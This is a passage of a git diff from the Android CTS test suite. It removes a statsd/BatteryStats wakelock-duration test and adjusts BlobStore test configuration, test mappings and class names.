-        assertWithMessage(
-                "No partial wakelocks with uid %s and tag %s in BatteryStats",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(bsWakelock).isNotNull();
-        long bsDurationMs = bsWakelock.getTotalDurationMs();
-        assertWithMessage(
-                "Wakelock in batterystats with uid %s and tag %s was too short or too long",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
-        // Get the statsd wakelock time and make sure it's reasonable.
-        assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
-                .that(statsdWakelockData).containsKey(EXPECTED_UID);
-        assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
-                .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
-        long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
-                .get(EXPECTED_TAG_HASH) / 1_000_000;
-        assertWithMessage(
-                "Wakelock in statsd with uid %s and tag %s was too short or too long", 
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
-        // Compare batterystats with statsd.
-        long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        assertWithMessage(
-                "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
-                EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
-        ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
-
-        setAodState(aodState); // restores AOD to initial state.
-    }
-
-    public void testPartialWakelockLoad() throws Exception {
-        if (!ENABLE_LOAD_TEST) return;
-        turnScreenOn(); // To ensure that the ScreenOff later gets logged.
-        uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
-        Thread.sleep(WAIT_TIME_SHORT);
-        resetBatteryStats();
-        unplugDevice();
-        turnScreenOff();
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockLoad");
-        // Give time for stuck wakelocks to increase duration.
-        Thread.sleep(10_000);
-
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final int EXPECTED_UID = getUid();
-        final int NUM_THREADS = 16;
-        final int NUM_COUNT_PER_THREAD = 1000;
-        final int MAX_DURATION_MS = 15_000;
-        final int MIN_DURATION_MS = 1_000;
-
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
-        // TODO: this fails because we only have the hashes of the wakelock tags in statsd.
-        // If we want to run this test, we need to fix this.
-
-        // Verify batterystats output is reasonable.
-        // boolean foundUid = false;
-        // for (UidProto uidProto : batterystatsProto.getUidsList()) {
-        //     if (uidProto.getUid() == EXPECTED_UID) {
-        //         foundUid = true;
-        //         CLog.d("Battery stats has the following wakelocks: \n" +
-        //                 uidProto.getWakelocksList());
-        //         assertTrue("UidProto has size "  + uidProto.getWakelocksList().size() +
-        //                 " wakelocks in it. Expected " + NUM_THREADS + " wakelocks.",
-        //                 uidProto.getWakelocksList().size() == NUM_THREADS);
-        //
-        //         for (Wakelock wl : uidProto.getWakelocksList()) {
-        //             String tag = wl.getName();
-        //             assertTrue("Wakelock tag in batterystats " + tag + " does not contain "
-        //                     + "expected tag " + EXPECTED_TAG, tag.contains(EXPECTED_TAG));
-        //             assertTrue("Wakelock in batterystats with tag " + tag + " does not have any "
-        //                             + "partial wakelock data.", wl.hasPartial());
-        //             assertTrue("Wakelock in batterystats with tag " + tag + " tag has count " +
-        //                     wl.getPartial().getCount() + " Expected " + NUM_COUNT_PER_THREAD,
-        //                     wl.getPartial().getCount() == NUM_COUNT_PER_THREAD);
-        //             long bsDurationMs = wl.getPartial().getTotalDurationMs();
-        //             assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-        //                     + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION_MS +
-        //                     ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION_MS);
-        //             assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-        //                     + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION_MS +
-        //                     ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION_MS);
-        //
-        //             // Validate statsd.
-        //             long statsdDurationNs = statsdWakelockData.get(EXPECTED_UID).get(tag);
-        //             long statsdDurationMs = statsdDurationNs / 1_000_000;
-        //             long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        //             assertTrue("Unusually large difference in wakelock duration for tag: " +
-        // tag +
-        //                         ". Statsd had duration " + statsdDurationMs +
-        //                         " and batterystats had duration " + bsDurationMs,
-        //                         difference <= bsDurationMs / 10);
-        //
-        //         }
-        //     }
-        // }
-        // assertTrue("Did not find uid " + EXPECTED_UID + " in batterystats.", foundUid);
-        //
-        // // Assert that the wakelock appears in statsd and is correct.
-        // assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
-        //         statsdWakelockData.containsKey(EXPECTED_UID));
-        // HashMap<String, Long> expectedWakelocks = statsdWakelockData.get(EXPECTED_UID);
-        // assertEquals("Expected " + NUM_THREADS + " wakelocks in statsd with UID " +
-        // EXPECTED_UID +
-        //         ". Received " + expectedWakelocks.size(), expectedWakelocks.size(), NUM_THREADS);
-    }
-
-    // Helper functions
-    // TODO: Refactor these into some utils class.
-
-    public HashMap<Integer, HashMap<Long, Long>> getStatsdWakelockData() throws Exception {
-        StatsLogReport report = getStatsLogReport();
-        CLog.d("Received the following stats log report: \n" + report.toString());
-
-        // Stores total duration of each wakelock across buckets.
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = new HashMap<>();
-
-        for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
-            // Gets tag and uid.
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            assertThat(dims).hasSize(2);
-            boolean hasTag = false;
-            long tag = 0;
-            int uid = -1;
-            long duration = 0;
-            for (DimensionsValue dim : dims) {
-                if (dim.hasValueInt()) {
-                    uid = dim.getValueInt();
-                } else if (dim.hasValueStrHash()) {
-                    hasTag = true;
-                    tag = dim.getValueStrHash();
-                }
-            }
-            assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
-            assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
-
-            // Gets duration.
-            for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
-                duration += bucketInfo.getDurationNanos();
-            }
-
-            // Store the info.
-            if (statsdWakelockData.containsKey(uid)) {
-                HashMap<Long, Long> tagToDuration = statsdWakelockData.get(uid);
-                tagToDuration.put(tag, duration);
-            } else {
-                HashMap<Long, Long> tagToDuration = new HashMap<>();
-                tagToDuration.put(tag, duration);
-                statsdWakelockData.put(uid, tagToDuration);
-            }
-        }
-        CLog.d("follow: statsdwakelockdata is: " + statsdWakelockData);
-        return statsdWakelockData;
-    }
-
-    private android.os.TimerProto getBatteryStatsPartialWakelock(BatteryStatsProto proto,
-            long uid, String tag) {
-        if (proto.getUidsList().size() < 1) {
-            CLog.w("Batterystats proto contains no uids");
-            return null;
-        }
-        boolean hadUid = false;
-        for (UidProto uidProto : proto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                hadUid = true;
-                for (Wakelock wl : uidProto.getWakelocksList()) {
-                    if (tag.equals(wl.getName())) {
-                        if (wl.hasPartial()) {
-                            return wl.getPartial();
-                        }
-                        CLog.w("Batterystats had wakelock for uid (" + uid + ") "
-                                + "with tag (" + tag + ") "
-                                + "but it didn't have a partial wakelock");
-                    }
-                }
-                CLog.w("Batterystats didn't have a partial wakelock for uid " + uid
-                        + " with tag " + tag);
-            }
-        }
-        if (!hadUid) CLog.w("Batterystats didn't have uid " + uid);
-        return null;
-    }
-
-    public void uploadWakelockDurationBatteryStatsConfig(TimeUnit bucketsize) throws Exception {
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        String metricName = "DURATION_PARTIAL_WAKELOCK_PER_TAG_UID_WHILE_SCREEN_OFF_ON_BATTERY";
-        int metricId = metricName.hashCode();
-
-        String partialWakelockIsOnName = "PARTIAL_WAKELOCK_IS_ON";
-        int partialWakelockIsOnId = partialWakelockIsOnName.hashCode();
-
-        String partialWakelockOnName = "PARTIAL_WAKELOCK_ON";
-        int partialWakelockOnId = partialWakelockOnName.hashCode();
-        String partialWakelockOffName = "PARTIAL_WAKELOCK_OFF";
-        int partialWakelockOffId = partialWakelockOffName.hashCode();
-
-        String partialWakelockAcquireName = "PARTIAL_WAKELOCK_ACQUIRE";
-        int partialWakelockAcquireId = partialWakelockAcquireName.hashCode();
-        String partialWakelockChangeAcquireName = "PARTIAL_WAKELOCK_CHANGE_ACQUIRE";
-        int partialWakelockChangeAcquireId = partialWakelockChangeAcquireName.hashCode();
-
-        String partialWakelockReleaseName = "PARTIAL_WAKELOCK_RELEASE";
-        int partialWakelockReleaseId = partialWakelockReleaseName.hashCode();
-        String partialWakelockChangeReleaseName = "PARTIAL_WAKELOCK_CHANGE_RELEASE";
-        int partialWakelockChangeReleaseId = partialWakelockChangeReleaseName.hashCode();
-
-
-        String screenOffBatteryOnName = "SCREEN_IS_OFF_ON_BATTERY";
-        int screenOffBatteryOnId = screenOffBatteryOnName.hashCode();
-
-        String screenStateUnknownName = "SCREEN_STATE_UNKNOWN";
-        int screenStateUnknownId = screenStateUnknownName.hashCode();
-        String screenStateOffName = "SCREEN_STATE_OFF";
-        int screenStateOffId = screenStateOffName.hashCode();
-        String screenStateOnName = "SCREEN_STATE_ON";
-        int screenStateOnId = screenStateOnName.hashCode();
-        String screenStateDozeName = "SCREEN_STATE_DOZE";
-        int screenStateDozeId = screenStateDozeName.hashCode();
-        String screenStateDozeSuspendName = "SCREEN_STATE_DOZE_SUSPEND";
-        int screenStateDozeSuspendId = screenStateDozeSuspendName.hashCode();
-        String screenStateVrName = "SCREEN_STATE_VR";
-        int screenStateVrId = screenStateVrName.hashCode();
-        String screenStateOnSuspendName = "SCREEN_STATE_ON_SUSPEND";
-        int screenStateOnSuspendId = screenStateOnSuspendName.hashCode();
-
-        String screenTurnedOnName = "SCREEN_TURNED_ON";
-        int screenTurnedOnId = screenTurnedOnName.hashCode();
-        String screenTurnedOffName = "SCREEN_TURNED_OFF";
-        int screenTurnedOffId = screenTurnedOffName.hashCode();
-
-        String screenIsOffName = "SCREEN_IS_OFF";
-        int screenIsOffId = screenIsOffName.hashCode();
-
-        String pluggedStateBatteryPluggedNoneName = "PLUGGED_STATE_BATTERY_PLUGGED_NONE";
-        int pluggedStateBatteryPluggedNoneId = pluggedStateBatteryPluggedNoneName.hashCode();
-        String pluggedStateBatteryPluggedAcName = "PLUGGED_STATE_BATTERY_PLUGGED_AC";
-        int pluggedStateBatteryPluggedAcId = pluggedStateBatteryPluggedAcName.hashCode();
-        String pluggedStateBatteryPluggedUsbName = "PLUGGED_STATE_BATTERY_PLUGGED_USB";
-        int pluggedStateBatteryPluggedUsbId = pluggedStateBatteryPluggedUsbName.hashCode();
-        String pluggedStateBatteryPluggedWlName = "PLUGGED_STATE_BATTERY_PLUGGED_WIRELESS";
-        int pluggedStateBatteryPluggedWirelessId = pluggedStateBatteryPluggedWlName.hashCode();
-
-        String pluggedStateBatteryPluggedName = "PLUGGED_STATE_BATTERY_PLUGGED";
-        int pluggedStateBatteryPluggedId = pluggedStateBatteryPluggedName.hashCode();
-
-        String deviceIsUnpluggedName = "DEVICE_IS_UNPLUGGED";
-        int deviceIsUnpluggedId = deviceIsUnpluggedName.hashCode();
-
-
-        FieldMatcher.Builder dimensions = FieldMatcher.newBuilder()
-                .setField(atomTag)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(WakelockStateChanged.TAG_FIELD_NUMBER))
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(1)
-                        .setPosition(Position.FIRST)
-                        .addChild(FieldMatcher.newBuilder()
-                                .setField(1)));
-
-        AtomMatcher.Builder wakelockAcquire = AtomMatcher.newBuilder()
-                .setId(partialWakelockAcquireId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.ACQUIRE_VALUE)));
-
-        AtomMatcher.Builder wakelockChangeAcquire = AtomMatcher.newBuilder()
-                .setId(partialWakelockChangeAcquireId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)));
-
-        AtomMatcher.Builder wakelockRelease = AtomMatcher.newBuilder()
-                .setId(partialWakelockReleaseId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.RELEASE_VALUE)));
-
-        AtomMatcher.Builder wakelockChangeRelease = AtomMatcher.newBuilder()
-                .setId(partialWakelockChangeReleaseId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)));
-
-        AtomMatcher.Builder wakelockOn = AtomMatcher.newBuilder()
-                .setId(partialWakelockOnId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(partialWakelockAcquireId)
-                        .addMatcher(partialWakelockChangeAcquireId));
-
-        AtomMatcher.Builder wakelockOff = AtomMatcher.newBuilder()
-                .setId(partialWakelockOffId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(partialWakelockReleaseId)
-                        .addMatcher(partialWakelockChangeReleaseId));
-
-
-        Predicate.Builder wakelockPredicate = Predicate.newBuilder()
-                .setId(partialWakelockIsOnId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(partialWakelockOnId)
-                        .setStop(partialWakelockOffId)
-                        .setCountNesting(true)
-                        .setDimensions(dimensions));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedNone = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedNoneId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedAc = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedAcId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedUsb = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedUsbId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedWireless = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedWirelessId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPlugged = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(pluggedStateBatteryPluggedAcId)
-                        .addMatcher(pluggedStateBatteryPluggedUsbId)
-                        .addMatcher(pluggedStateBatteryPluggedWirelessId));
-
-        Predicate.Builder deviceIsUnplugged = Predicate.newBuilder()
-                .setId(deviceIsUnpluggedId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(pluggedStateBatteryPluggedNoneId)
-                        .setStop(pluggedStateBatteryPluggedId)
-                        .setCountNesting(false));
-
-        AtomMatcher.Builder screenStateUnknown = AtomMatcher.newBuilder()
-                .setId(screenStateUnknownId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE)));
-
-        AtomMatcher.Builder screenStateOff = AtomMatcher.newBuilder()
-                .setId(screenStateOffId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE)));
-
-        AtomMatcher.Builder screenStateOn = AtomMatcher.newBuilder()
-                .setId(screenStateOnId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_VALUE)));
-
-        AtomMatcher.Builder screenStateDoze = AtomMatcher.newBuilder()
-                .setId(screenStateDozeId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE)));
-
-        AtomMatcher.Builder screenStateDozeSuspend = AtomMatcher.newBuilder()
-                .setId(screenStateDozeSuspendId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE)));
-
-        AtomMatcher.Builder screenStateVr = AtomMatcher.newBuilder()
-                .setId(screenStateVrId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_VR_VALUE)));
-
-        AtomMatcher.Builder screenStateOnSuspend = AtomMatcher.newBuilder()
-                .setId(screenStateOnSuspendId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE)));
-
-
-        AtomMatcher.Builder screenTurnedOff = AtomMatcher.newBuilder()
-                .setId(screenTurnedOffId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(screenStateOffId)
-                        .addMatcher(screenStateDozeId)
-                        .addMatcher(screenStateDozeSuspendId)
-                        .addMatcher(screenStateUnknownId));
-
-        AtomMatcher.Builder screenTurnedOn = AtomMatcher.newBuilder()
-                .setId(screenTurnedOnId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(screenStateOnId)
-                        .addMatcher(screenStateOnSuspendId)
-                        .addMatcher(screenStateVrId));
-
-        Predicate.Builder screenIsOff = Predicate.newBuilder()
-                .setId(screenIsOffId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(screenTurnedOffId)
-                        .setStop(screenTurnedOnId)
-                        .setCountNesting(false));
-
-
-        Predicate.Builder screenOffBatteryOn = Predicate.newBuilder()
-                .setId(screenOffBatteryOnId)
-                .setCombination(Predicate.Combination.newBuilder()
-                        .setOperation(LogicalOperation.AND)
-                        .addPredicate(screenIsOffId)
-                        .addPredicate(deviceIsUnpluggedId));
-
-        StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addDurationMetric(DurationMetric.newBuilder()
-                .setId(metricId)
-                .setWhat(partialWakelockIsOnId)
-                .setCondition(screenOffBatteryOnId)
-                .setDimensionsInWhat(dimensions)
-                .setBucket(bucketsize))
-                .addAtomMatcher(wakelockAcquire)
-                .addAtomMatcher(wakelockChangeAcquire)
-                .addAtomMatcher(wakelockRelease)
-                .addAtomMatcher(wakelockChangeRelease)
-                .addAtomMatcher(wakelockOn)
-                .addAtomMatcher(wakelockOff)
-                .addAtomMatcher(pluggedStateBatteryPluggedNone)
-                .addAtomMatcher(pluggedStateBatteryPluggedAc)
-                .addAtomMatcher(pluggedStateBatteryPluggedUsb)
-                .addAtomMatcher(pluggedStateBatteryPluggedWireless)
-                .addAtomMatcher(pluggedStateBatteryPlugged)
-                .addAtomMatcher(screenStateUnknown)
-                .addAtomMatcher(screenStateOff)
-                .addAtomMatcher(screenStateOn)
-                .addAtomMatcher(screenStateDoze)
-                .addAtomMatcher(screenStateDozeSuspend)
-                .addAtomMatcher(screenStateVr)
-                .addAtomMatcher(screenStateOnSuspend)
-                .addAtomMatcher(screenTurnedOff)
-                .addAtomMatcher(screenTurnedOn)
-                .addPredicate(wakelockPredicate)
-                .addPredicate(deviceIsUnplugged)
-                .addPredicate(screenIsOff)
-                .addPredicate(screenOffBatteryOn);
-
-        uploadConfig(builder);
-    }
-}
diff --git a/hostsidetests/userspacereboot/TEST_MAPPING b/hostsidetests/userspacereboot/TEST_MAPPING
index 40da059..cf97bfa 100644
--- a/hostsidetests/userspacereboot/TEST_MAPPING
+++ b/hostsidetests/userspacereboot/TEST_MAPPING
@@ -1,8 +1,7 @@
 {
-  "postsubmit" : [
+  "presubmit" : [
     {
-      "name": "CtsUserspaceRebootHostSideTestCases",
-      "keywords": ["primary-device"]
+      "name": "CtsUserspaceRebootHostSideTestCases"
     }
   ]
 }
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index d5c3548..81f1765 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -32,10 +32,14 @@
         <option name="teardown-command" value="cmd blob_store idle-maintenance" />
     </target_preparer>
 
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper2" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.blob.helper3" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/BlobStore/OWNERS b/tests/BlobStore/OWNERS
index 16b25bb..bf870975 100644
--- a/tests/BlobStore/OWNERS
+++ b/tests/BlobStore/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-include platform/frameworks/base:apex/blobstore/OWNERS
+include platform/frameworks/base:/apex/blobstore/OWNERS
diff --git a/tests/BlobStore/helper-app/AndroidManifest.xml b/tests/BlobStore/helper-app/AndroidManifest.xml
index cc6a7cf..a2cf878 100644
--- a/tests/BlobStore/helper-app/AndroidManifest.xml
+++ b/tests/BlobStore/helper-app/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.blob.helper" >
 
-    <application>
+    <application android:debuggable="true">
         <service android:name=".BlobStoreTestService"
                  android:exported="true"/>
     </application>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 9f21efe..685d188 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -53,7 +53,7 @@
 import com.android.compatibility.common.util.ThrowingRunnable;
 import com.android.cts.blob.R;
 import com.android.cts.blob.ICommandReceiver;
-import com.android.utils.blob.DummyBlobData;
+import com.android.utils.blob.FakeBlobData;
 import com.android.utils.blob.Utils;
 
 import org.junit.After;
@@ -83,7 +83,7 @@
 @RunWith(BlobStoreTestRunner.class)
 public class BlobStoreManagerTest {
 
-    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 10;
+    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 30;
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
@@ -138,7 +138,7 @@
 
     @Test
     public void testGetCreateSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -151,7 +151,7 @@
 
     @Test
     public void testCreateBlobHandle_invalidArguments() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final BlobHandle handle = blobData.getBlobHandle();
         try {
@@ -187,7 +187,7 @@
 
     @Test
     public void testAbandonSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -205,7 +205,7 @@
 
     @Test
     public void testOpenReadWriteSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -230,7 +230,7 @@
 
     @Test
     public void testOpenSession_fromAnotherPkg() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -256,7 +256,7 @@
 
     @Test
     public void testOpenSessionAndAbandon() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
